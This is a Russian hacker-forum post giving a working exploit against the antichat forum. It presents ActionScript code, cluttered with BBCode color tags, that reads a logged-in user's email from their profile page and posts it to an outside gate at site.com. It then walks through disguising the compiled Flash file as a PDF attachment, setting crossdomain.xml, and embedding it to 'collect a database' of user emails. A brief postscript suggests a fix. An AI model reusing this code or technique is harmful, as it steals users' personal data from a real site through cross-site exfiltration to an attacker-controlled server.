Практическое использование уязвимости
Ниже приведен код простого приложения, которое парсит регистрационное мыло пользователя с
forum.antichat.ru/profile.php?do=editpassword и отправляет на гейт
site.com/achatmail.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]package
[/COLOR][COLOR="#007700"]{
[/COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]display[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]Sprite[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]events[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]Event[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]net[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]net[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]URLRequest[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]net[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]URLRequestMethod[/COLOR][COLOR="#007700"];
public class[/COLOR][COLOR="#0000BB"]Main[/COLOR][COLOR="#007700"]extends[/COLOR][COLOR="#0000BB"]Sprite
[/COLOR][COLOR="#007700"]{
public function[/COLOR][COLOR="#0000BB"]Main[/COLOR][COLOR="#007700"]() :[/COLOR][COLOR="#0000BB"]void
[/COLOR][COLOR="#007700"]{
var[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]URLRequest[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]URLRequest[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/profile.php?do=editpassword"[/COLOR][COLOR="#007700"]);
var[/COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]addEventListener[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]Event[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]COMPLETE[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]completeHandler[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]load[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]);
}
private function[/COLOR][COLOR="#0000BB"]completeHandler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]event[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]Event[/COLOR][COLOR="#007700"]) :[/COLOR][COLOR="#0000BB"]void
[/COLOR][COLOR="#007700"]{
var[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]String[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]String[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]event[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]target[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]match[/COLOR][COLOR="#007700"](/[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]=\[/COLOR][COLOR="#DD0000"]"email\" value=\".+?\"/)[0];
mail = mail.slice(20, mail.length - 1);
var request : URLRequest = new URLRequest("[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site.com/achatmail.php");
[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"mail="[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]encodeURIComponent[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]method[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]URLRequestMethod[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]POST[/COLOR][COLOR="#007700"];
var[/COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]load[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]);
}
}
}[/COLOR][/COLOR]
При работе удобно использовать сервис
wonderfl.net - онлайн-компилятор и редактор
ActionScript.
Готовое приложение переименовываем в
filename.pdf и грузим в аттач форума. Расширение
PDF выбрано потому, что на ачате файл, загруженный в этом формате имеет
Content-disposition: inline, что позволяет применять приложение для всех браузеров.
Для успешной отправки мыла на
site.com, в корне сайта должен быть файл
crossdomain.xml
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
(вместо
forum.antichat.ru можно прописать
*.antichat.ru или просто
*)
Теперь на вставляем на страницу своего сайта
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
и собираем базу мыл ачата
p.s.: не мешало бы закрыть баг. хотя бы сделать проверку первых 3 байт на "CWS" для загружаемых файлов